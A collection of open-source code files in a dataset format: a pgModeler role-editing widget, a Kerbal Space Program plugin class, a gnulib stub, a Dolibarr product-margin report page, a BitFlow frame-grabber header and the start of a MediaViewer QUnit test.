object_selection_wgt->show();
}
void RoleWidget::hideEvent(QHideEvent *event)
{
unsigned i;
for(i=0; i < 3; i++)
members_tab[i]->blockSignals(true);
for(i=0; i < 3; i++)
{
members_tab[i]->removeRows();
members_tab[i]->blockSignals(false);
}
members_twg->setCurrentIndex(0);
passwd_edt->clear();
conn_limit_sb->setValue(conn_limit_sb->minimum());
superusr_chk->setChecked(false);
inh_perm_chk->setChecked(false);
create_db_chk->setChecked(false);
can_login_chk->setChecked(false);
create_role_chk->setChecked(false);
encrypt_pass_chk->setChecked(false);
BaseObjectWidget::hideEvent(event);
}
void RoleWidget::setAttributes(DatabaseModel *model, OperationList *op_list, Role *role)
{
if(role)
{
conn_limit_sb->setValue(role->getConnectionLimit());
passwd_edt->setText(role->getPassword());
validity_chk->setChecked(!role->getValidity().isEmpty());
validity_dte->setDateTime(QDateTime::fromString(role->getValidity(), QString("yyyy-MM-dd hh:mm:ss")));
superusr_chk->setChecked(role->getOption(Role::OP_SUPERUSER));
create_db_chk->setChecked(role->getOption(Role::OP_CREATEDB));
create_role_chk->setChecked(role->getOption(Role::OP_CREATEROLE));
encrypt_pass_chk->setChecked(role->getOption(Role::OP_ENCRYPTED));
inh_perm_chk->setChecked(role->getOption(Role::OP_INHERIT));
can_login_chk->setChecked(role->getOption(Role::OP_LOGIN));
can_replicate_chk->setChecked(role->getOption(Role::OP_REPLICATION));
}
BaseObjectWidget::setAttributes(model, op_list, role);
fillMembersTable();
configureRoleSelection();
}
void RoleWidget::showRoleData(Role *role, unsigned table_id, unsigned row)
{
if(role)
{
QString str_aux;
Role *aux_role=nullptr;
unsigned count, i, type_id,
role_types[3]={ Role::REF_ROLE, Role::MEMBER_ROLE, Role::ADMIN_ROLE };
if(table_id > 3)
throw Exception(ERR_REF_OBJ_INV_INDEX,__PRETTY_FUNCTION__,__FILE__,__LINE__);
members_tab[table_id]->setRowData(QVariant::fromValue(reinterpret_cast<void *>(role)), row);
members_tab[table_id]->setCellText(role->getName(), row, 0);
members_tab[table_id]->setCellText(role->getValidity(), row, 1);
for(type_id=0; type_id < 3; type_id++)
{
count=role->getRoleCount(role_types[type_id]);
for(i=0; i < count; i++)
{
aux_role=role->getRole(role_types[type_id], i);
str_aux+=aux_role->getName();
if(i < count-1) str_aux+=QString(", ");
}
members_tab[table_id]->setCellText(str_aux, row, 2 + type_id);
str_aux.clear();
}
}
}
void RoleWidget::fillMembersTable(void)
{
if(this->object)
{
Role *aux_role=nullptr, *role=nullptr;
unsigned count, i, type_id,
role_types[3]={ Role::REF_ROLE, Role::MEMBER_ROLE, Role::ADMIN_ROLE };
role=dynamic_cast<Role *>(this->object);
for(type_id=0; type_id < 3; type_id++)
{
count=role->getRoleCount(role_types[type_id]);
members_tab[type_id]->blockSignals(true);
for(i=0; i < count; i++)
{
aux_role=role->getRole(role_types[type_id], i);
members_tab[type_id]->addRow();
showRoleData(aux_role, type_id, i);
}
members_tab[type_id]->blockSignals(false);
members_tab[type_id]->clearSelection();
}
}
}
void RoleWidget::showSelectedRoleData(void)
{
unsigned idx_tab;
int lin, idx_lin=-1;
BaseObject *obj_sel=nullptr;
Messagebox msg_box;
//Get the selected role
obj_sel=object_selection_wgt->getSelectedObject();
//Gets the index of the table where the role data is displayed
idx_tab=members_twg->currentIndex();
lin=members_tab[idx_tab]->getSelectedRow();
if(obj_sel)
idx_lin=members_tab[idx_tab]->getRowIndex(QVariant::fromValue<void *>(dynamic_cast<void *>(obj_sel)));
//Raises an error if the user try to assign the role as member of itself
if(obj_sel && obj_sel==this->object)
{
/* If the current row does not has a value indicates that it is recently added and does not have
data, in this case it will be removed */
if(!members_tab[idx_tab]->getRowData(lin).value<void *>())
members_tab[idx_tab]->removeRow(lin);
msg_box.show(Exception(Exception::getErrorMessage(ERR_ROLE_REF_REDUNDANCY)
.arg(obj_sel->getName())
.arg(name_edt->text()),
ERR_ROLE_REF_REDUNDANCY,__PRETTY_FUNCTION__,__FILE__,__LINE__));
}
//If the role does not exist on table, show its data
else if(obj_sel && idx_lin < 0)
showRoleData(dynamic_cast<Role *>(obj_sel), idx_tab, lin);
else
{
/* If the current row does not has a value indicates that it is recently added and does not have
data, in this case it will be removed */
if(!members_tab[idx_tab]->getRowData(lin).value<void *>())
members_tab[idx_tab]->removeRow(lin);
//Raises an error if the role already is in the table
if(obj_sel && idx_lin >= 0)
{
msg_box.show( Exception(Exception::getErrorMessage(ERR_INS_DUPLIC_ROLE)
.arg(obj_sel->getName())
.arg(name_edt->text()),
ERR_INS_DUPLIC_ROLE,__PRETTY_FUNCTION__,__FILE__,__LINE__));
}
}
}
void RoleWidget::applyConfiguration(void)
{
Role *role=nullptr, *aux_role=nullptr;
unsigned count, i, type_id,
role_types[3]={ Role::REF_ROLE, Role::MEMBER_ROLE, Role::ADMIN_ROLE };
try
{
startConfiguration<Role>();
role=dynamic_cast<Role *>(this->object);
//role->setSysid(sysid_sb->value());
role->setConnectionLimit(conn_limit_sb->value());
role->setPassword(passwd_edt->text());
if(validity_chk->isChecked())
role->setValidity(validity_dte->dateTime().toString(QString("yyyy-MM-dd hh:mm")));
else
role->setValidity(QString());
role->setOption(Role::OP_SUPERUSER, superusr_chk->isChecked());
role->setOption(Role::OP_CREATEDB, create_db_chk->isChecked());
role->setOption(Role::OP_CREATEROLE, create_role_chk->isChecked());
role->setOption(Role::OP_ENCRYPTED, encrypt_pass_chk->isChecked());
role->setOption(Role::OP_INHERIT, inh_perm_chk->isChecked());
role->setOption(Role::OP_LOGIN, can_login_chk->isChecked());
role->setOption(Role::OP_REPLICATION, can_replicate_chk->isChecked());
for(type_id=0; type_id < 3; type_id++)
{
count=members_tab[type_id]->getRowCount();
if(count > 0) role->removeRoles(role_types[type_id]);
for(i=0; i < count; i++)
{
aux_role=reinterpret_cast<Role *>(members_tab[type_id]->getRowData(i).value<void *>());
role->addRole(role_types[type_id], aux_role);
}
}
BaseObjectWidget::applyConfiguration();
finishConfiguration();
}
catch(Exception &e)
{
cancelConfiguration();
throw Exception(e.getErrorMessage(),e.getErrorType(),__PRETTY_FUNCTION__,__FILE__,__LINE__, &e);
}
}
|
robregonm/pgmodeler
|
libpgmodeler_ui/src/rolewidget.cpp
|
C++
|
gpl-3.0
| 11,148
|
/*****************************************************************************
* RasterPropMonitor
* =================
* Plugin for Kerbal Space Program
*
* by Mihara (Eugene Medvedev), MOARdV, and other contributors
*
* RasterPropMonitor is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, revision
* date 29 June 2007, or (at your option) any later version.
*
* RasterPropMonitor is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*
* You should have received a copy of the GNU General Public License
* along with RasterPropMonitor. If not, see <http://www.gnu.org/licenses/>.
****************************************************************************/
using System;
using UnityEngine;
namespace JSI
{
class MappedVariable : IComplexVariable
{
private readonly VariableOrNumberRange sourceVariable;
public readonly string mappedVariable;
private readonly VariableOrNumber mappedExtent1, mappedExtent2;
public MappedVariable(ConfigNode node, RasterPropMonitorComputer rpmComp)
{
if (!node.HasValue("mappedVariable") || !node.HasValue("mappedRange") || !node.HasValue("sourceVariable") || !node.HasValue("sourceRange"))
{
throw new ArgumentException("MappedVariable missing required values");
}
string sourceVariableStr = node.GetValue("sourceVariable");
string sourceRange = node.GetValue("sourceRange");
string[] sources = sourceRange.Split(',');
if (sources.Length != 2)
{
throw new ArgumentException("MappedVariable sourceRange does not have exactly two values");
}
sourceVariable = new VariableOrNumberRange(rpmComp, sourceVariableStr, sources[0], sources[1]);
mappedVariable = node.GetValue("mappedVariable");
string[] destinations = node.GetValue("mappedRange").Split(',');
if (destinations.Length != 2)
{
throw new ArgumentException("MappedVariable mappedRange does not have exactly two values");
}
mappedExtent1 = rpmComp.InstantiateVariableOrNumber(destinations[0]);
mappedExtent2 = rpmComp.InstantiateVariableOrNumber(destinations[1]);
}
public object Evaluate()
{
float lerp = sourceVariable.InverseLerp();
float extent1 = mappedExtent1.AsFloat();
float extent2 = mappedExtent2.AsFloat();
return Mathf.Lerp(extent1, extent2, lerp);
}
}
}
|
Mihara/RasterPropMonitor
|
RasterPropMonitor/Core/MappedVariable.cs
|
C#
|
gpl-3.0
| 2,886
|
/* Test whether a wide character has a given property.
Copyright (C) 2011-2014 Free Software Foundation, Inc.
Written by Bruno Haible <bruno@clisp.org>, 2011.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <config.h>
/* Specification. */
#include <wctype.h>
#include "iswctype-impl.h"
|
crossbuild/grep
|
lib/iswctype.c
|
C
|
gpl-3.0
| 904
|
<?php
/* Copyright (C) 2012-2013 Christophe Battarel <christophe.battarel@altairis.fr>
* Copyright (C) 2014 Ferran Marcet <fmarcet@2byte.es>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* \file htdocs/margin/productMargins.php
* \ingroup margin
* \brief Page des marges par produit
*/
require '../main.inc.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php';
require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php';
require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php';
require_once DOL_DOCUMENT_ROOT.'/margin/lib/margins.lib.php';
$langs->load("companies");
$langs->load("bills");
$langs->load("products");
$langs->load("margins");
$id = GETPOST('id', 'int');
$ref = GETPOST('ref', 'alpha');
$action=GETPOST('action','alpha');
$confirm=GETPOST('confirm','alpha');
// Security check
$fieldvalue = (! empty($id) ? $id : (! empty($ref) ? $ref : ''));
$fieldtype = (! empty($ref) ? 'ref' : 'rowid');
if (! empty($user->societe_id)) $socid=$user->societe_id;
$result=restrictedArea($user,'produit|service',$fieldvalue,'product&product','','',$fieldtype);
$mesg = '';
$sortfield = GETPOST("sortfield",'alpha');
$sortorder = GETPOST("sortorder",'alpha');
if (! $sortorder) $sortorder="ASC";
if (! $sortfield)
{
if ($id > 0)
{
$sortfield="f.datef";
$sortorder="DESC";
}
else
{
$sortfield="p.ref";
$sortorder="ASC";
}
}
$page = GETPOST("page",'int');
if ($page == -1) { $page = 0; }
$offset = $conf->liste_limit * $page;
$pageprev = $page - 1;
$pagenext = $page + 1;
$startdate=$enddate='';
if (!empty($_POST['startdatemonth']))
$startdate = dol_mktime(0, 0, 0, $_POST['startdatemonth'], $_POST['startdateday'], $_POST['startdateyear']);
if (!empty($_POST['enddatemonth']))
$enddate = dol_mktime(23, 59, 59, $_POST['enddatemonth'], $_POST['enddateday'], $_POST['enddateyear']);
/*
* View
*/
$product_static = new Product($db);
$invoicestatic=new Facture($db);
$form = new Form($db);
llxHeader('',$langs->trans("Margins").' - '.$langs->trans("Products"));
$text=$langs->trans("Margins");
//print_fiche_titre($text);
// Show tabs
$head=marges_prepare_head($user);
$titre=$langs->trans("Margins");
$picto='margin';
dol_fiche_head($head, 'productMargins', $titre, 0, $picto);
print '<form method="post" name="sel" action="'.$_SERVER['PHP_SELF'].'">';
print '<table class="border" width="100%">';
if ($id > 0) {
print '<tr><td width="20%">'.$langs->trans('ChooseProduct/Service').'</td>';
print '<td colspan="4">';
print $form->select_produits($id,'id','',20,0,1,2,'',1);
print '</td></tr>';
print '<tr><td width="20%">'.$langs->trans('AllProducts').'</td>';
print '<td colspan="4"><input type="checkbox" id="all" /></td></tr>';
if (! $sortorder) $sortorder="DESC";
if (! $sortfield) $sortfield="f.datef";
}
else {
print '<tr><td width="20%">'.$langs->trans('ChooseProduct/Service').'</td>';
print '<td colspan="4">';
print $form->select_produits('','id','',20,0,1,2,'',1);
print '</td></tr>';
}
// Start date
print '<td>'.$langs->trans('StartDate').' ('.$langs->trans("DateValidation").')</td>';
print '<td width="20%">';
$form->select_date($startdate,'startdate','','',1,"sel",1,1);
print '</td>';
print '<td width="20%">'.$langs->trans('EndDate').' ('.$langs->trans("DateValidation").')</td>';
print '<td width="20%">';
$form->select_date($enddate,'enddate','','',1,"sel",1,1);
print '</td>';
print '<td style="text-align: center;">';
print '<input type="submit" class="button" value="'.dol_escape_htmltag($langs->trans('Launch')).'" />';
print '</td></tr>';
print "</table>";
print '<br>';
print '<table class="border" width="100%">';
// Total Margin
print '<tr><td width="20%">'.$langs->trans("TotalMargin").'</td><td colspan="4">';
print '<span id="totalMargin"></span>'; // set by jquery (see below)
print '</td></tr>';
// Margin Rate
if (! empty($conf->global->DISPLAY_MARGIN_RATES)) {
print '<tr><td width="20%">'.$langs->trans("MarginRate").'</td><td colspan="4">';
print '<span id="marginRate"></span>'; // set by jquery (see below)
print '</td></tr>';
}
// Mark Rate
if (! empty($conf->global->DISPLAY_MARK_RATES)) {
print '<tr><td width="20%">'.$langs->trans("MarkRate").'</td><td colspan="4">';
print '<span id="markRate"></span>'; // set by jquery (see below)
print '</td></tr>';
}
print "</table>";
print '</form>';
$sql = "SELECT p.label, p.rowid, p.fk_product_type, p.ref, p.entity as pentity,";
if ($id > 0) $sql.= " d.fk_product,";
if ($id > 0) $sql.= " f.rowid as facid, f.facnumber, f.total as total_ht, f.datef, f.paye, f.fk_statut as statut,";
$sql.= " sum(d.total_ht) as selling_price,";
$sql.= " sum(".$db->ifsql('d.total_ht < 0','d.qty * d.buy_price_ht * -1','d.qty * d.buy_price_ht').") as buying_price,";
$sql.= " sum(".$db->ifsql('d.total_ht < 0','-1 * (abs(d.total_ht) - (d.buy_price_ht * d.qty))','d.total_ht - (d.buy_price_ht * d.qty)').") as marge";
$sql.= " FROM ".MAIN_DB_PREFIX."societe as s";
$sql.= ", ".MAIN_DB_PREFIX."product as p";
$sql.= ", ".MAIN_DB_PREFIX."facture as f";
$sql.= ", ".MAIN_DB_PREFIX."facturedet as d";
$sql.= " WHERE f.entity = ".$conf->entity;
$sql.= " AND f.fk_soc = s.rowid";
$sql.= " AND d.fk_product = p.rowid";
$sql.= " AND f.fk_statut > 0";
$sql.= " AND d.fk_facture = f.rowid";
if ($id > 0)
$sql.= " AND d.fk_product =".$id;
if (!empty($startdate))
$sql.= " AND f.datef >= '".$db->idate($startdate)."'";
if (!empty($enddate))
$sql.= " AND f.datef <= '".$db->idate($enddate)."'";
$sql .= " AND d.buy_price_ht IS NOT NULL";
if (isset($conf->global->ForceBuyingPriceIfNull) && $conf->global->ForceBuyingPriceIfNull == 1)
$sql .= " AND d.buy_price_ht <> 0";
if ($id > 0) $sql.= " GROUP BY p.label, p.rowid, p.fk_product_type, p.ref, d.fk_product, f.rowid, f.facnumber, f.total, f.datef, f.paye, f.fk_statut";
else $sql.= " GROUP BY p.label, p.rowid, p.fk_product_type, p.ref";
$sql.=$db->order($sortfield,$sortorder);
// TODO: calculate total to display then restore pagination
//$sql.= $db->plimit($conf->liste_limit +1, $offset);
dol_syslog('margin::productMargins.php', LOG_DEBUG);
$result = $db->query($sql);
if ($result)
{
$num = $db->num_rows($result);
print '<br>';
print_barre_liste($langs->trans("MarginDetails"),$page,$_SERVER["PHP_SELF"],"&id=".$id,$sortfield,$sortorder,'',0,0,'');
$i = 0;
print "<table class=\"noborder\" width=\"100%\">";
print '<tr class="liste_titre">';
if ($id > 0) {
print_liste_field_titre($langs->trans("Invoice"),$_SERVER["PHP_SELF"],"f.facnumber","","&id=".$id,'',$sortfield,$sortorder);
print_liste_field_titre($langs->trans("DateInvoice"),$_SERVER["PHP_SELF"],"f.datef","","&id=".$id,'align="center"',$sortfield,$sortorder);
}
else
print_liste_field_titre($langs->trans("ProductService"),$_SERVER["PHP_SELF"],"p.ref","","&id=".$id,'',$sortfield,$sortorder);
print_liste_field_titre($langs->trans("SellingPrice"),$_SERVER["PHP_SELF"],"selling_price","","&id=".$id,'align="right"',$sortfield,$sortorder);
print_liste_field_titre($langs->trans("BuyingPrice"),$_SERVER["PHP_SELF"],"buying_price","","&id=".$id,'align="right"',$sortfield,$sortorder);
print_liste_field_titre($langs->trans("Margin"),$_SERVER["PHP_SELF"],"marge","","&id=".$id,'align="right"',$sortfield,$sortorder);
if (! empty($conf->global->DISPLAY_MARGIN_RATES))
print_liste_field_titre($langs->trans("MarginRate"),$_SERVER["PHP_SELF"],"","","&id=".$id,'align="right"',$sortfield,$sortorder);
if (! empty($conf->global->DISPLAY_MARK_RATES))
print_liste_field_titre($langs->trans("MarkRate"),$_SERVER["PHP_SELF"],"","","&id=".$id,'align="right"',$sortfield,$sortorder);
print "</tr>\n";
$cumul_achat = 0;
$cumul_vente = 0;
$rounding = min($conf->global->MAIN_MAX_DECIMALS_UNIT,$conf->global->MAIN_MAX_DECIMALS_TOT);
if ($num > 0)
{
$var=True;
while ($i < $num /*&& $i < $conf->liste_limit*/)
{
$objp = $db->fetch_object($result);
$pa = $objp->buying_price;
$pv = $objp->selling_price;
$marge = $objp->marge;
if ($marge < 0)
{
$marginRate = ($pa != 0)?-1*(100 * $marge / $pa):'' ;
$markRate = ($pv != 0)?-1*(100 * $marge / $pv):'' ;
}
else
{
$marginRate = ($pa != 0)?(100 * $marge / $pa):'' ;
$markRate = ($pv != 0)?(100 * $marge / $pv):'' ;
}
$var=!$var;
print "<tr ".$bc[$var].">";
if ($id > 0) {
print '<td>';
$invoicestatic->id=$objp->facid;
$invoicestatic->ref=$objp->facnumber;
print $invoicestatic->getNomUrl(1);
print "</td>\n";
print "<td align=\"center\">";
print dol_print_date($db->jdate($objp->datef),'day')."</td>";
}
else {
print '<td>';
$product_static->type=$objp->fk_product_type;
$product_static->id=$objp->rowid;
$product_static->ref=$objp->ref;
$product_static->label=$objp->label;
$product_static->entity=$objp->pentity;
$text=$product_static->getNomUrl(1);
print $text.= ' - '.$objp->label;
print "</td>\n";
//print "<td>".$product_static->getNomUrl(1)."</td>\n";
}
print "<td align=\"right\">".price($pv, null, null, null, null, $rounding)."</td>\n";
print "<td align=\"right\">".price($pa, null, null, null, null, $rounding)."</td>\n";
print "<td align=\"right\">".price($marge, null, null, null, null, $rounding)."</td>\n";
if (! empty($conf->global->DISPLAY_MARGIN_RATES))
print "<td align=\"right\">".(($marginRate === '')?'n/a':price($marginRate, null, null, null, null, $rounding)."%")."</td>\n";
if (! empty($conf->global->DISPLAY_MARK_RATES))
print "<td align=\"right\">".(($markRate === '')?'n/a':price($markRate, null, null, null, null, $rounding)."%")."</td>\n";
print "</tr>\n";
$i++;
$cumul_achat += $objp->buying_price;
$cumul_vente += $objp->selling_price;
}
}
// affichage totaux marges
$var=!$var;
$totalMargin = $cumul_vente - $cumul_achat;
if ($totalMargin < 0)
{
$marginRate = ($cumul_achat != 0)?-1*(100 * $totalMargin / $cumul_achat):'';
$markRate = ($cumul_vente != 0)?-1*(100 * $totalMargin / $cumul_vente):'';
}
else
{
$marginRate = ($cumul_achat != 0)?(100 * $totalMargin / $cumul_achat):'';
$markRate = ($cumul_vente != 0)?(100 * $totalMargin / $cumul_vente):'';
}
print '<tr class="liste_total">';
if ($id > 0)
print '<td colspan=2>';
else
print '<td>';
print $langs->trans('TotalMargin')."</td>";
print "<td align=\"right\">".price($cumul_vente, null, null, null, null, $rounding)."</td>\n";
print "<td align=\"right\">".price($cumul_achat, null, null, null, null, $rounding)."</td>\n";
print "<td align=\"right\">".price($totalMargin, null, null, null, null, $rounding)."</td>\n";
if (! empty($conf->global->DISPLAY_MARGIN_RATES))
print "<td align=\"right\">".(($marginRate === '')?'n/a':price($marginRate, null, null, null, null, $rounding)."%")."</td>\n";
if (! empty($conf->global->DISPLAY_MARK_RATES))
print "<td align=\"right\">".(($markRate === '')?'n/a':price($markRate, null, null, null, null, $rounding)."%")."</td>\n";
print "</tr>\n";
print "</table>";
}
else
{
dol_print_error($db);
}
$db->free($result);
llxFooter();
$db->close();
?>
<script type="text/javascript">
$(document).ready(function() {
$("#all").change(function() {
$("#id").val('').change();
});
$("#id").change(function() {
$("div.fiche form").submit();
});
$("#totalMargin").html("<?php echo price($totalMargin, null, null, null, null, $rounding); ?>");
$("#marginRate").html("<?php echo (($marginRate === '')?'n/a':price($marginRate, null, null, null, null, $rounding)."%"); ?>");
$("#markRate").html("<?php echo (($markRate === '')?'n/a':price($markRate, null, null, null, null, $rounding)."%"); ?>");
});
</script>
|
alachaum/dolibarr
|
htdocs/margin/productMargins.php
|
PHP
|
gpl-3.0
| 12,305
|
/***************************************************************************
*
* R2Board.h
*
* Public defines, parameters and structures.
*
* Copyright (C) 1996 by BitFlow, Inc. All Rights Reserved.
*
* 06/25/96 rjd created
*
***************************************************************************/
#ifndef __R2BOARD__
#define __R2BOARD__
#include "BFSystem.h"
#include "BFDef.h"
#include "BFBoard.h"
#include "BFTabError.h"
// Error messages used during driver open phase.
#define R2SYS_ERROR BFSYS_ERROR
#define R2SYS_ERROR_REGISTRY BFSYS_ERROR_REGISTRY
#define R2SYS_ERROR_NOTFOUND BFSYS_ERROR_NOTFOUND
#define R2SYS_ERROR_SIZE BFSYS_ERROR_SIZE
#define R2SYS_ERROR_ALLOCACTION BFSYS_ERROR_ALLOCACTION
#define R2SYS_ERROR_CREATEFILE BFSYS_ERROR_CREATEFILE
// Board state.
#define R2SYS_STATUS_ALLOCATED BFSYS_STATUS_ALLOCATED
#define R2SYS_STATUS_HANDLEOPEN BFSYS_STATUS_HANDLEOPEN
#define R2SYS_STATUS_CAMALLOC BFSYS_STATUS_CAMALLOC
#define R2SYS_STATUS_BRDINIT BFSYS_STATUS_BRDINIT
#define R2SYS_STATUS_MUTEXLIVES BFSYS_STATUS_MUTEXLIVES
// Board open options.
#define R2SysInitialize BFSysInitialize // Initialize the system.
#define R2SysExclusive BFSysExclusive // If not already open, open exclusively.
#define R2SysNoIntThread BFSysNoIntThread // Do not activate interrupt thread.
#define R2SysNoCameraOpen BFSysNoCameraOpen // Do not open any camera configurations.
#define R2SysNoAlreadyOpenMess BFSysNoAlreadyOpenMess // Supress already open warning message.
#define R2SysNoOpenErrorMess BFSysNoOpenErrorMess // Supress error pop-ups in R2BrdOpen
// Camera open options.
#define R2SysConfigure BFSysConfigure
// Acquistion commands.
#define R2ConFreeze BFConFreeze
#define R2ConAbort BFConAbort
#define R2ConSnap BFConSnap
#define R2ConGrab BFConGrab
#define R2ConReset BFConReset
// General enable/disable flags.
#define R2ConDisable BFConDisable
#define R2ConEnable BFConEnable
// Acquisition modes.
#define R2ConWait BFConWait
#define R2ConAsync BFConAsync
// DMA commands.
#define R2ConDMAGo BFConDMAGo
#define R2ConDMAAbort BFConDMAAbort
#define R2ConDMAReset BFConDMAReset
// parameters for R2BrdInquire()
#define R2BrdInqModel BFBrdInqModel
#define R2BrdInqSpeed BFBrdInqSpeed
#define R2BrdInqLUT BFBrdInqLUT
#define R2BrdInqIDReg BFBrdInqIDReg
#define R2BrdInqNumCams BFBrdInqNumCams
#define R2BrdAttachedCamera0FileName BFBrdAttachedCamera0FileName
// return values for R2BrdInquire()
#define R2BrdValModel11 BFBrdValModel11
#define R2BrdValModel12 BFBrdValModel12
#define R2BrdValModel13 BFBrdValModel13
#define R2BrdValModel14 BFBrdValModel14
#define R2BrdValModel23 BFBrdValModel23
#define R2BrdValModel24 BFBrdValModel24
#define R2BrdValModel44 BFBrdValModel44
#define R2BrdValLUT8And12 BFBrdValLUT8And12
#define R2BrdValLUT16 BFBrdValLUT16
#define R2BrdValLUTNone BFBrdValLUTNone
#define R2BrdValSpeedNormal BFBrdValSpeedNormalR2
#define R2BrdValSpeed40MHz BFBrdValSpeed40MHzR2
// parameters for R2CamInquire() can also be passed to R2BrdInquire to inquire of current camera
#define R2CamInqMask BFCamInqMask // used to pass member to camera function
#define R2CamInqXSize BFCamInqXSize
#define R2CamInqYSize BFCamInqYSize0
#define R2CamInqFormat BFCamInqFormat
#define R2CamInqPixBitDepth BFCamInqPixBitDepth
#define R2CamInqBytesPerPix BFCamInqBytesPerPix
#define R2CamInqAqTimeout BFCamInqAqTimeout
#define R2CamInqHostFrameSize BFCamInqFrameSize0
#define R2CamInqDisplayFrameSize BFCamInqDisplayFrameSize0
#define R2CamInqHostFrameWidth BFCamInqFrameWidth
#define R2CamInqDisplayFrameWidth BFCamInqDisplayFrameWidth
#define R2CamInqPixBitDepthDisplay BFCamInqPixBitDepthDisplay
#define R2CamInqBytesPerPixDisplay BFCamInqBytesPerPixDisplay
#define R2CamInqBitsPerSequence BFCamInqBitsPerSequence
#define R2CamInqBitsPerSequenceDisplay BFCamInqBitsPerSequenceDisplay
#define R2CamInqHasCamControl BFCamInqHasCamControl
#define R2CamInqCamType BFCamInqCamType
#define R2CamInqControlType BFCamInqControlType
// Camera brand info (used on EXPMOD first parameter) parameter
#define R2CamModelDalsaLineScanWithPRIN BFCamModelDalsaLineScanWithPRIN
#define R2CamModelNumberOfModels BFCamModelNumberOfModels
// Camera control masks (used on EXPMOD second parameter) parameter
#define R2CamTypeMask BFCamTypeMask
#define R2CamControlTypeMask BFCamControlTypeMask
// Camera Control and exposure mode parameters
#define R2CamNoControl BFCamNoControl
#define R2CamTypeLineScan BFCamTypeLineScan // R2CamTypeMask
#define R2CamTypeAreaScan BFCamTypeAreaScan
#define R2CamHasExposureControlOnly BFCamHasExposureControlOnly // R2CamControlTypeMask
#define R2CamHasRateControlOnly BFCamHasRateControlOnly
#define R2CamHasIndpendentRateAndExposure BFCamHasIndpendentRateAndExposure
#define R2CamHasDependentRateAndExposure BFCamHasDependentRateAndExposure
#define R2CamTypeNumberOfTypes BFCamTypeNumberOfTypes
#define R2CamHasNumberOfHases BFCamHasNumberOfHases
// Priorities for set exposure/rate functions
#define R2CamExposurePriority BFCamExposurePriority
#define R2CamRatePriority BFCamRatePriority
#define R2CamFailOnNotExact BFCamFailOnNotExact
#define R2CamExposureUnimportant BFCamExposureUnimportant
#define R2CamRateUnimportant BFCamRateUnimportant
// non-error return values from signal wait functions
#define R2_SIGNAL_TIMEOUT BF_SIGNAL_TIMEOUT
#define R2_SIGNAL_CANCEL BF_SIGNAL_CANCEL
// tranlsation of BF error returns into old R2 error returns.
// THis is for backwards compatiblity
#define R2_BAD_SEMAPHORE BF_BAD_SEMAPHORE
#define R2_BAD_SIGNAL BF_BAD_SIGNAL
#define R2_WAIT_FAILED BF_WAIT_FAILED
// Sizes of various memory chunks
#define R28BITLUTSIZE 0x100
#define R212BITLUTSIZE 0x1000
#define R216BITLUTSIZE 0x10000
#define R2NUMLUTBANKS 2
#define R2HCTABSIZE (8*1024)
#define R2VCTABSIZE (32*1024)
#define R2QTABSIZE (32*1024) // table size in 32bit words.
#define R2QTABBANKSIZE (R2QTABSIZE / 2) // There are two equal size QTab banks.
#define R2NUMCTABCOLS 16
#define R2HCTABJUMP 0x800
#define R2VCTABJUMP 0x1000
// QTAB creation options
#define R2DMAOptEOC BFDMAOptEOC
#define R2DMAOptInt BFDMAOptInt
#define R2DMADataMem BFDMADataMem
#define R2DMABitmap BFDMABitmap
#define R2DMAPhysical BFDMAPhysical
// interrupt types
#define R2IntTypeAll BFIntTypeAll
#define R2IntTypeHW BFIntTypeHW
#define R2IntTypeFIFO BFIntTypeFIFO
#define R2IntTypeDMADone BFIntTypeDMADone
#define R2IntTypeEOD BFIntTypeEOD
#define R2IntTypeDMAOnly BFIntTypeDMAOnly
#define R2IntTypeCTab BFIntTypeCTab
#define R2IntTypeSerial BFIntTypeSerial
#define R2IntTypeTrig BFIntTypeTrig
// compatibility
#define R2IntTypeQuadDone R2IntTypeEOD
// trigger edges
#define R2TrigAssert BFTrigAssert
#define R2TrigDeassert BFTrigDeassert
/*
* Structures
*/
// structured used to report found in system
typedef BFENTRY R2ENTRY, *PR2ENTRY;
#if !defined(KernelOS)
typedef BFSIGNAL R2SIGNAL, *PR2SIGNAL;
#endif // KernelOS
#endif //__R2BOARD__
|
brandonaaron/mindcontrol
|
3rdPartyLibs/BitFlowSDK/R2Board.h
|
C
|
gpl-3.0
| 7,423
|
/*
* This file is part of the MediaWiki extension MediaViewer.
*
* MediaViewer is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* MediaViewer is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with MediaViewer. If not, see <http://www.gnu.org/licenses/>.
*/
( function () {
QUnit.module( 'mmv.ui.Canvas', QUnit.newMwEnvironment() );
QUnit.test( 'Constructor sanity check', function ( assert ) {
var $qf = $( '#qunit-fixture' ),
canvas = new mw.mmv.ui.Canvas( $qf, $qf, $qf );
assert.ok( canvas.$imageDiv, 'Image container is created.' );
assert.strictEqual( canvas.$imageWrapper, $qf, '$imageWrapper is set correctly.' );
assert.strictEqual( canvas.$mainWrapper, $qf, '$mainWrapper is set correctly.' );
} );
QUnit.test( 'empty() and set()', function ( assert ) {
var $qf = $( '#qunit-fixture' ),
canvas = new mw.mmv.ui.Canvas( $qf ),
image = new Image(),
$imageElem = $( image ),
